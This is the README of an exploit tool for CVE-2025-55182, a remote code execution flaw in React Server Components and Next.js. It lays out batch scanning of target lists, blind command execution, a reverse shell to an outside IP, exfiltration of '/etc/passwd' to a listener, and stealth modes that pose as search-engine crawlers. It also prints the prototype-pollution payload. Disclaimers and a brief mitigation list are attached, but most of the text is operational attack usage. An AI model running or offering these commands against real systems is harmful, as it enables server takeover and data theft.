CVE-2025-55182-exp

🔥 Overview

CVE-2025-55182 is a critical Remote Code Execution (RCE) vulnerability in React Server Components (RSC) affecting Next.js applications using App Router with Server Actions.

The vulnerability exists in the Flight protocol deserialization process, allowing attackers to achieve arbitrary code execution through prototype pollution.

⚠️ Disclaimer / 免责声明

FOR AUTHORIZED SECURITY TESTING ONLY

This tool is provided for educational and authorized penetration testing purposes only. Unauthorized access to computer systems is illegal. Any illegal or unauthorized use of this tool is solely the responsibility of the user. The author assumes no liability whatsoever.

本工具仅供授权安全测试和教育目的使用。如有任何违规、非法操作，一切后果由使用者自行承担，与本人无关。

Please read the full DISCLAIMER.md before using this tool.

By using this tool, you agree that:

• You have obtained proper authorization for any testing
• You will comply with all applicable laws and regulations
• You accept full responsibility for your actions
• The author bears no liability for any misuse

📋 Affected Versions

Component	Affected Versions
react-server-dom-webpack	19.0.0 - 19.2.0
Next.js	15.x, 16.x (App Router + Server Actions)

🛠️ Installation

# Clone the repository
git clone https://github.com/Spritualkb/CVE-2025-55182-exp.git
cd CVE-2025-55182-exp

# Install dependencies
pip install requests
pip install requests[socks]  # For SOCKS5 proxy support

📖 Usage

Check Single Target

python3 exploit.py http://target:3000 --check

Batch Scan from File

# Basic batch scan
python3 exploit.py -f targets.txt --check

# With stealth mode and delay
python3 exploit.py -f targets.txt --check --stealth crawler --delay 2

# Save vulnerable targets to file
python3 exploit.py -f targets.txt --check -o vulnerable.txt

Execute Command (Blind RCE)

python3 exploit.py http://target:3000 -c "id"

Reverse Shell

# Start listener first
nc -lvnp 4444

# Execute reverse shell
python3 exploit.py http://target:3000 --revshell 10.0.0.1 4444

Exfiltrate Command Output

# Start listener
nc -lvnp 4444

# Execute and exfiltrate output
python3 exploit.py http://target:3000 --exfil "cat /etc/passwd" 10.0.0.1 4444

Using Proxy

python3 exploit.py http://target:3000 --check --proxy socks5://127.0.0.1:1080

🎭 Stealth Modes

Mode	Description
browser	Mimics real browser requests (default)
crawler	Mimics search engine crawlers (Googlebot, Baiduspider, etc.)
security	Uses security scanner User-Agents

🔧 Options

Option	Description
target	Target URL (e.g., http://localhost:3000)
-f, --file	File containing target URLs (one per line)
-o, --output	Output file for vulnerable targets
-c, --command	Command to execute (blind)
--check	Check for vulnerability
--proxy	SOCKS5 proxy (e.g., socks5://127.0.0.1:1080)
--stealth	Stealth mode: browser, crawler, security
--delay	Delay between requests in seconds
--variants	Use multiple payload variants for thorough check
--revshell IP PORT	Reverse shell to IP:PORT
--exfil CMD IP PORT	Execute CMD and POST output to IP:PORT
-t, --timeout	Request timeout in seconds (default: 15)

🔬 Technical Details

Vulnerability Mechanism

The exploit leverages prototype pollution in the Flight protocol deserialization:

1. Prototype Pollution: Pollutes Object.prototype.then via "$1:__proto__:then"
2. Function Constructor Access: Sets _formData.get to Function constructor via "$1:constructor:constructor"
3. Code Injection: Injects malicious code via _prefix that gets passed to Function()

Payload Structure

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "<malicious_code>",
    "_chunks": "$Q2",
    "_formData": {"get": "$1:constructor:constructor"}
  }
}

📁 File Structure

CVE-2025-55182-exp/
├── exploit.py      # Main exploit script
├── targets.txt     # Target URLs list (one per line)
└── README.md       # This file

📝 targets.txt Format

# Comments start with #
http://target1.com:3000
https://target2.com
target3.com:3000

🛡️ Mitigation

1. Update to the latest patched versions of react-server-dom-webpack and Next.js
2. Implement input validation on Server Actions
3. Use Web Application Firewall (WAF) rules to detect malicious Flight protocol payloads
4. Monitor for unusual server-side errors (HTTP 500) with prototype-related messages

📜 License

This project is licensed under the MIT License - see the LICENSE file for details.

---

⚠️ Legal Disclaimer / 法律免责声明

English

Terms of Use

By downloading, copying, installing, or using this software, you agree to be bound by the terms of this disclaimer.

Intended Purpose

This tool is designed exclusively for:

• Authorized penetration testing
• Security research and education
• Vulnerability assessment with proper authorization
• CTF (Capture The Flag) competitions
• Personal lab environments

Prohibited Use

You SHALL NOT use this tool for:

• Unauthorized access to computer systems
• Any illegal activities
• Attacking systems without explicit written permission
• Causing damage to any systems or data
• Any activities that violate local, state, national, or international laws

No Warranty

THIS SOFTWARE IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED. THE AUTHOR(S) DISCLAIM ALL WARRANTIES, INCLUDING BUT NOT LIMITED TO:

• MERCHANTABILITY
• FITNESS FOR A PARTICULAR PURPOSE
• NON-INFRINGEMENT

Limitation of Liability

IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY:

• Direct, indirect, incidental, special, exemplary, or consequential damages
• Loss of data, profits, or business opportunities
• Legal consequences arising from misuse of this tool

User Responsibility

The user assumes full responsibility for:

• Obtaining proper authorization before testing any system
• Compliance with all applicable laws and regulations
• Any consequences resulting from the use of this tool
• Ensuring the legality of their actions in their jurisdiction

Acknowledgment

By using this tool, you acknowledge that:

1. You have read and understood this disclaimer
2. You will use this tool only for legal and authorized purposes
3. You accept all risks associated with the use of this tool
4. The author(s) bear no responsibility for any misuse

---

中文

使用条款